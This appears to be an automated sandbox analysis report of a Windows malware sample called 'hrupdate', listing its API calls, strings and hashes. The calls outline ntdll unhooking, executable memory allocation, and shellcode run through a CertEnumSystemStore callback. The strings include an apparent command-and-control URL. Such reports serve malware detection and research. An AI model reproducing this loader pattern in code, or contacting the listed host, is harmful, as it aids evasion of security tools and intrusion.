Part of subcall function 00B01B30: GetCurrentProcess.KERNEL32 ref: 00B01B47
Part of subcall function 00B01B30: GetModuleHandleA.KERNEL32 ref: 00B01B62
Part of subcall function 00B01B30: K32GetModuleInformation.KERNEL32(00000000,00000000,?,0000000C), ref: 00B01B73
Part of subcall function 00B01B30: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01B8F
Part of subcall function 00B01B30: CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01BA6
Part of subcall function 00B01B30: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01BB8
Part of subcall function 00B01B30: VirtualProtect.KERNEL32(?,?,00000040,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C2C
Part of subcall function 00B01B30: memcpy.VCRUNTIME140(?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C43

Part of subcall function 00B01B30: VirtualProtect.KERNEL32(?,?,?,?), ref: 00B01C5C
Part of subcall function 00B01B30: CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C76
Part of subcall function 00B01B30: CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C7B
Part of subcall function 00B01B30: CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C80
Part of subcall function 00B01B30: FreeLibrary.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C85

GetConsoleWindow.KERNEL32(00000000), ref: 00B02CCA
ShowWindow.USER32(00000000), ref: 00B02CD1
WSAStartup.WS2_32 ref: 00B02D32

Part of subcall function 00B02180: socket.WS2_32(00000002,00000001,00000006), ref: 00B02259
Part of subcall function 00B02180: inet_addr.WS2_32(00000000), ref: 00B02273
Part of subcall function 00B02180: gethostbyname.WS2_32(00000000), ref: 00B0227B
Part of subcall function 00B02180: htons.WS2_32(00000050), ref: 00B022BB
Part of subcall function 00B02180: connect.WS2_32(00000000,?,00000010), ref: 00B022D2

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00B02D60
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 00B02D6D
CertEnumSystemStore.CRYPT32(00010000,00000000,00000000,?), ref: 00B02D83
FlsAlloc.KERNEL32(?), ref: 00B02D8A
FlsSetValue.KERNEL32(00000000,?), ref: 00B02D9E
WSACleanup.WS2_32 ref: 00B02DA4

Strings

dummy, xrefs: 00B02D94
ntdll.dll, xrefs: 00B02BE9
http://www.hrtraining.ro/trainingcheck_v5498, xrefs: 00B02CD7
c:\windows\system32\kernel32.dll, xrefs: 00B02C7B
kernel32.dll, xrefs: 00B02C57
c:\windows\system32\ntdll.dll, xrefs: 00B02C0F

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: Handle$CloseFileVirtual$AllocCreateModuleProtectWindowmemcpy$CertCleanupConsoleCurrentEnumFreeInformationLibraryMappingProcessShowStartupStoreSystemValueViewconnectgethostbynamehtonsinet_addrsocket
String ID: c:\windows\system32\kernel32.dll$c:\windows\system32\ntdll.dll$dummy$http://www.hrtraining.ro/trainingcheck_v5498$kernel32.dll$ntdll.dll
API String ID: 3600704002-5958019
Opcode ID: 156830dd0b07f45e2fa641555fc1113c466618b40116440836d94c7745065869
Instruction ID: 8f0bacf5de34b16d423386d04b134c2a39cc47fbd91ebd638982829055d2c32a
Opcode Fuzzy Hash: 156830dd0b07f45e2fa641555fc1113c466618b40116440836d94c7745065869
Instruction Fuzzy Hash: F34152B08083C59AD331DB64DD097EABBF4FBB9304F00561DEA88631A2EF706184CB56

Function 00B01B30 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 131
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00B01B47
GetModuleHandleA.KERNEL32 ref: 00B01B62
K32GetModuleInformation.KERNEL32(00000000,00000000,?,0000000C), ref: 00B01B73
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01B8F
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01BB8
VirtualProtect.KERNEL32(?,?,00000040,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C2C
memcpy.VCRUNTIME140(?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C43
VirtualProtect.KERNEL32(?,?,?,?), ref: 00B01C5C
CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C76
CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C7B
CloseHandle.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C80
FreeLibrary.KERNEL32(?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B01C85

Strings

.text, xrefs: 00B01BE3

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: Handle$CloseFile$CreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewmemcpy
String ID: .text
API String ID: 3896868005-2719751843
Opcode ID: a3e610069ed1cc1327cd3e4481948e012175b35a853f895de0102b737033df99
Instruction ID: 02ae1497ff20a1cedae57beebe4e73c52d710431ff8858cd4595b848cdda656b
Opcode Fuzzy Hash: a3e610069ed1cc1327cd3e4481948e012175b35a853f895de0102b737033df99
Instruction Fuzzy Hash: AE4190B2940204ABDB20CFA4DC85BAABFB9FF18700F104555F705B7291EB71A950CBA4

Function 00B012C0 Relevance: 18.2, APIs: 12, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Query_perf_frequency.MSVCP140 ref: 00B012F3
_Query_perf_counter.MSVCP140 ref: 00B01305
__alldvrm.LIBCMT ref: 00B01310
_Query_perf_frequency.MSVCP140(?,00000000), ref: 00B01322
_Query_perf_counter.MSVCP140(?,00000000), ref: 00B01330
__alldvrm.LIBCMT ref: 00B01341
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B01399
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B013C0
_Xtime_get_ticks.MSVCP140(00000000,?,00000000,00000000,00000000,00000000,3B9ACA00,00000000,00000000,?,?,00000000,?,00000000,3B9ACA00,00000000), ref: 00B013EA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B0140C
_Thrd_sleep.MSVCP140(00000000,00000000,?,3B9ACA00,00000000,00000000,?,00000064,00000000,?,00000000,00000000,00000000,00000000,3B9ACA00,00000000), ref: 00B01434
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00B0146D

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$Query_perf_counterQuery_perf_frequency__alldvrm$Thrd_sleepXbad_function_call@std@@Xtime_get_ticks
String ID:
API String ID: 1496849827-0
Opcode ID: 6ee9a781c565826a07d9645ae27b52d2387546c891c52cfccc2551e97db9c029
Instruction ID: 12a4b3e533ab22d87d0439574b4dca5eb8ede43b53a2f4b17f575055be1929ee
Opcode Fuzzy Hash: 6ee9a781c565826a07d9645ae27b52d2387546c891c52cfccc2551e97db9c029
Instruction Fuzzy Hash: 48515CB2908340AFD710DF688C45B2BBFF9EFC8754F154A5DF689A72A1D73199008B92

Function 04FC609E Relevance: 16.7, APIs: 11, Instructions: 186
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04FC60DF
__snprintf.LIBCMT ref: 04FC6106

Part of subcall function 04FCD3F2: _memset.LIBCMT ref: 04FCD413

__snprintf.LIBCMT ref: 04FC6182
__snprintf.LIBCMT ref: 04FC6199
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,04FF656C,05009668), ref: 04FC61C8
HttpSendRequestA.WININET(00000000,?,?,04FC62C1,?), ref: 04FC61F1
InternetCloseHandle.WININET(00000000), ref: 04FC620E

Part of subcall function 04FC99C6: _memset.LIBCMT ref: 04FC99D6
Part of subcall function 04FC99C6: _memset.LIBCMT ref: 04FC99E2
Part of subcall function 04FC99C6: __snprintf.LIBCMT ref: 04FC9A33
Part of subcall function 04FC99C6: _memset.LIBCMT ref: 04FC9A6A
Part of subcall function 04FC99C6: _memset.LIBCMT ref: 04FC9A75

Part of subcall function 04FC9A90: _memset.LIBCMT ref: 04FC9AA0
Part of subcall function 04FC9A90: _memset.LIBCMT ref: 04FC9AAC
Part of subcall function 04FC9A90: __snprintf.LIBCMT ref: 04FC9B08
Part of subcall function 04FC9A90: _memset.LIBCMT ref: 04FC9B26
Part of subcall function 04FC9A90: _memset.LIBCMT ref: 04FC9B31

InternetQueryDataAvailable.WININET(00000000,04FC383D,00000000,00000000), ref: 04FC621F
InternetReadFile.WININET(00000000,?,00001000,?), ref: 04FC624D
InternetCloseHandle.WININET(00000000), ref: 04FC626D
InternetCloseHandle.WININET(00000000), ref: 04FC628E

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$Internet__snprintf$CloseHandle$HttpRequest$AvailableDataFileOpenQueryReadSend
String ID:
API String ID: 2172916581-0
Opcode ID: 40e5e2bedabd578f53a482707598f6ce6131ed9bae6e962141338f684f271493
Instruction ID: 24dd9080d454eebfc68367c3cfb1a6be6763d0ec59f1f06839ddb7ac193cbb7b
Opcode Fuzzy Hash: 40e5e2bedabd578f53a482707598f6ce6131ed9bae6e962141338f684f271493
Instruction Fuzzy Hash: 9E519BB2D0420ABFEF11AFA4ED84DEE7BBDEF04718F044469F514E3151DA35A9468B60

Function 04FC34E1 Relevance: 13.9, APIs: 9, Instructions: 415
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF65
Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF75

Part of subcall function 04FD0BB6: __time64.LIBCMT ref: 04FD0BC8
Part of subcall function 04FD0BB6: _malloc.LIBCMT ref: 04FD0C0F
Part of subcall function 04FD0BB6: _memset.LIBCMT ref: 04FD0C1C
Part of subcall function 04FD0BB6: _strtok.LIBCMT ref: 04FD0C36

Part of subcall function 04FC970C: __time64.LIBCMT ref: 04FC971D

Part of subcall function 04FD3B98: _malloc.LIBCMT ref: 04FD3BBF
Part of subcall function 04FD3B98: _memset.LIBCMT ref: 04FD3BED

Part of subcall function 04FD3B98: _realloc.LIBCMT ref: 04FD3BCE

_malloc.LIBCMT ref: 04FC3661
GetLocalTime.KERNEL32(?), ref: 04FC36BF
GetLocalTime.KERNEL32(?), ref: 04FC3758
__snprintf.LIBCMT ref: 04FC37AC
__snprintf.LIBCMT ref: 04FC37BF
__snprintf.LIBCMT ref: 04FC37E0
__time64.LIBCMT ref: 04FC3884
__time64.LIBCMT ref: 04FC3939
GetLocalTime.KERNEL32(?), ref: 04FC3709

Part of subcall function 04FD2F47: Sleep.KERNEL32(000003E8,00000080,00000000,00000000,?,?,04FC39A6), ref: 04FD2FAE
Part of subcall function 04FD2F47: RtlExitUserThread.NTDLL(00000000,00000080,00000000,00000000,?,?,04FC39A6), ref: 04FD2FE7
Part of subcall function 04FD2F47: WaitForSingleObject.KERNEL32(00000000,?,?,04FC39A6), ref: 04FD3003

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _malloc$__time64$LocalTime__snprintf$_memset$ExitObjectSingleSleepThreadUserWait_realloc_strtok
String ID:
API String ID: 4021925118-0
Opcode ID: 2a6053757d82f09bfc0108c82e6fd5de468b6f3fd153353462dda776b7188483
Instruction ID: e7487141a1a985bcdd5abe58c8475f5e811d8290c38aa1b669745ad34188ae36
Opcode Fuzzy Hash: 2a6053757d82f09bfc0108c82e6fd5de468b6f3fd153353462dda776b7188483
Instruction Fuzzy Hash: 4BD10672D40316AAFF247FB0AE05B6E7BA6AF04358F18441DFD04AA1C0DE79F5438A65

Function 04FCBE03 Relevance: 12.1, APIs: 8, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetACP.KERNEL32(00000080,00000000,00000000,?,?,?,?,?,?,?,?,04FC369C,00000000,00000000), ref: 04FCBE0C
GetOEMCP.KERNEL32(?,?,?,?,?,?,?,?,04FC369C,00000000,00000000), ref: 04FCBE18
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04FC369C,00000000), ref: 04FCBE45
GetTickCount.KERNEL32 ref: 04FCBE49

Part of subcall function 04FDDFA9: __getptd.LIBCMT ref: 04FDDFAE

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04FC369C,00000000), ref: 04FCBE76
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,04FC369C,00000000), ref: 04FCBEDC
_memset.LIBCMT ref: 04FCBF13
_memset.LIBCMT ref: 04FCBF52

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CurrentProcess$_memset$CountTick__getptd
String ID:
API String ID: 3908538216-0
Opcode ID: 12e56e0691da8eb54208064541addb7a88c2afbb341588d1a3ed4a3b05f399f1
Instruction ID: 14e0e80b43996d093842670950e7ffacc919c6332b67b2adac3d5d589eda139e
Opcode Fuzzy Hash: 12e56e0691da8eb54208064541addb7a88c2afbb341588d1a3ed4a3b05f399f1
Instruction Fuzzy Hash: 9A31D772800209BBFB107BB4FD49E9E3F69AF44268F14542AF904AB0C1DE78F9468661

Function 00B01A20 Relevance: 12.1, APIs: 8, Instructions: 74
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003E8), ref: 00B01A52
SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00B01A64
KillTimer.USER32(?,00000001), ref: 00B01A72
KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 00B01A7B
DialogBoxParamW.USER32(00000081,?,00B01B00,00000000), ref: 00B01A94
SetTimer.USER32(?,00000001,000003E8,00000000), ref: 00B01ACE
EndDialog.USER32(?,00000000), ref: 00B01AE4

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: DialogTimer$CallbackDispatcherItemKillMessageParamSendUser
String ID:
API String ID: 182125530-0
Opcode ID: b2359a15b997e3a0697e179e49e715babca285d70a5f3fbcda05ccb043cdd9e5
Instruction ID: d453b91f83aa68aaba0f58fb0e0a63c33e3d8716849ffa61ffc6bceb5a763678
Opcode Fuzzy Hash: b2359a15b997e3a0697e179e49e715babca285d70a5f3fbcda05ccb043cdd9e5
Instruction Fuzzy Hash: 3511A77338020477E6111B5CFC49FDA7F58DB75762F004422F305FA0E1DBE1A8929694

Function 00B01900 Relevance: 10.6, APIs: 7, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00B0193E
DefWindowProcW.USER32(?,00000111,?,?), ref: 00B01970
BeginPaint.USER32(?,?), ref: 00B019D3
EndPaint.USER32(?,?), ref: 00B019DF
PostQuitMessage.USER32(00000000), ref: 00B019FB

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: PaintProcWindow$BeginMessagePostQuit
String ID:
API String ID: 3181456275-0
Opcode ID: 5f45f1b67c9da7f006a287c6bf44843e9d858ab5d557d8294fbb4e0ec81d2438
Instruction ID: 53d8f9b4a4d1e62b738631b4455a27a1ca68bb859deb7849cde80f48b947863e
Opcode Fuzzy Hash: 5f45f1b67c9da7f006a287c6bf44843e9d858ab5d557d8294fbb4e0ec81d2438
Instruction Fuzzy Hash: 8521D4722141089BC614EF68AC1AAEB7FE8EF5D311F404A5AFA46D71D0EF619820C7D2

Function 00B02B00 Relevance: 10.6, APIs: 7, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Mtx_lock.MSVCP140(?,21DC2236,?,?,?,?,00B03EB0,000000FF), ref: 00B02B3B
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B02B4F
_Cnd_signal.MSVCP140 ref: 00B02B5B
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000,00000000), ref: 00B02B69
_Mtx_unlock.MSVCP140(00000000,00000000), ref: 00B02B71
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B02B7F
_Cnd_do_broadcast_at_thread_exit.MSVCP140 ref: 00B02B8B

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: C_error@std@@Throw_$Cnd_do_broadcast_at_thread_exitCnd_signalMtx_lockMtx_unlock
String ID:
API String ID: 35399794-0
Opcode ID: 52d20cc4d4e4d00ea002de10b6dc254882b1b3298ad11cd9296fac153cf2a61b
Instruction ID: c0d3ee8f2abca9d1d3948123848b6a390c7d0362f9d8153a1b42c27a5ea84ae4
Opcode Fuzzy Hash: 52d20cc4d4e4d00ea002de10b6dc254882b1b3298ad11cd9296fac153cf2a61b
Instruction Fuzzy Hash: 021198B1900604ABD7015F55EC09B4BBBE8FB04724F044675EE05A3790EB39E928C6E5

Function 04FCCC39 Relevance: 9.1, APIs: 6, Instructions: 113
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 04FCCC5D

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

htonl.WS2_32(6083960B), ref: 04FCCC89
recvfrom.WS2_32(?,B0C25DAC,000FFFFC,00000000,?,?), ref: 04FCCCB8
WSAGetLastError.WS2_32 ref: 04FCCCC3

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: AllocateErrorHeapLast_mallochtonlrecvfrom
String ID:
API String ID: 987280018-0
Opcode ID: 7e1490a240a7802738e65aa502ac1be26c7c42dc1a49b056b2dbd77ae1c1bc55
Instruction ID: 6a2a94e3ad66d46b3ae6390f30c73514121623468f39b4fb5c6e84050bea5e1a
Opcode Fuzzy Hash: 7e1490a240a7802738e65aa502ac1be26c7c42dc1a49b056b2dbd77ae1c1bc55
Instruction Fuzzy Hash: 8E41D072D00686AFE7218FA4DA45A6E7BB5EB05325F20452EF525A71E1E770AD03AB00

Function 00B02DCF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00B027F7,00000000,00000000,?,?,?,00000000), ref: 00B02DD7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00B027F7,00000000,00000000,?,?,?,00000000), ref: 00B02DE4
_CxxThrowException.VCRUNTIME140(00000000,00B04C5C,00000000), ref: 00B0328C
_CxxThrowException.VCRUNTIME140(00000000,00B04CB0,00000000), ref: 00B032A9

Strings

Unknown exception, xrefs: 00B032B6

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID: Unknown exception
API String ID: 4113974480-410509341
Opcode ID: 29c0cda21983972cb9874066b592c86764488ca7b9b884476350f2a4c48810b2
Instruction ID: df4402fc99c1837a2d9bb139a16e6131f2408751e3049d722872090adf4451a7
Opcode Fuzzy Hash: 29c0cda21983972cb9874066b592c86764488ca7b9b884476350f2a4c48810b2
Instruction Fuzzy Hash: 27F0C274A0060DB7CF04B7E5E84EA5E7FECDE00B50B6482F4B925920E1EB71EB4985C0

Function 04FC6388 Relevance: 4.6, APIs: 3, Instructions: 68networkCOMMON

Download Yara Rule

APIs

Part of subcall function 04FC62DB: WSAStartup.WS2_32(00000202,?), ref: 04FC62FC
Part of subcall function 04FC62DB: WSACleanup.WS2_32 ref: 04FC6306

WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 04FC63AC
WSAIoctl.WS2_32(00000000,4004747F,00000000,00000000,?,000005F0,00000001,00000000,00000000), ref: 04FC63D7
closesocket.WS2_32(00000000), ref: 04FC6416

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CleanupIoctlSocketStartupclosesocket
String ID:
API String ID: 1100289767-0
Opcode ID: b07ee390d600fd449390e62d91f807ab846da2dafb804c40f2f2b5a799255852
Instruction ID: ba40fe44940622cc241cda092b3802e6c2e146c7b941ced6319fa6e3f74d6ea2
Opcode Fuzzy Hash: b07ee390d600fd449390e62d91f807ab846da2dafb804c40f2f2b5a799255852
Instruction Fuzzy Hash: A111E771B041297FF7208E65DD88FEB7FADDF84760F004069F605C2181D634984286A0

Function 04FC5BC4 Relevance: 3.1, APIs: 2, Instructions: 54networkCOMMON

Download Yara Rule

APIs

InternetSetOptionA.WININET(00000000,00000005,0003A980,00000004), ref: 04FC5C21
InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 04FC5C31

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: InternetOption
String ID:
API String ID: 3327645240-0
Opcode ID: c071940ebe5c8b0f7555f5e3c5821549d6d79c59c96757adb3d4149d7eac7ff3
Instruction ID: 41d41ccb2931421fb1be70a4890945bf8a0c6c36801b5df4ee9d2d06ee6dbd0b
Opcode Fuzzy Hash: c071940ebe5c8b0f7555f5e3c5821549d6d79c59c96757adb3d4149d7eac7ff3
Instruction Fuzzy Hash: E001DB61E5173DBAEA319B70AE0AFFA7E5CDB00B54F401019F600A70C0D9B4FA42D6D0

Function 04FC8DA9 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FC8DCA
_memset.LIBCMT ref: 04FC8DE0

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _malloc_memset
String ID:
API String ID: 4137368368-0
Opcode ID: 44c70397971aacc1e29a062b2104901ab0c525a298335cef8def32f3048be67f
Instruction ID: 690a606da2e5f5028d47de17ecc80edce469daec2e69c6e9cef829634fbae73e
Opcode Fuzzy Hash: 44c70397971aacc1e29a062b2104901ab0c525a298335cef8def32f3048be67f
Instruction Fuzzy Hash: A201C0719006059FE320BF64ED01B5B3BE4EB56799F00452EE84AA7201EB35F403CF91

Function 04FC5C3F Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

Part of subcall function 04FC5BC4: InternetSetOptionA.WININET(00000000,00000005,0003A980,00000004), ref: 04FC5C21
Part of subcall function 04FC5BC4: InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 04FC5C31

InternetSetOptionA.WININET(00000000,0000002B,00000000,00000000), ref: 04FC5CA1
InternetSetOptionA.WININET(0000002C,00000000,00000000), ref: 04FC5CBD

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

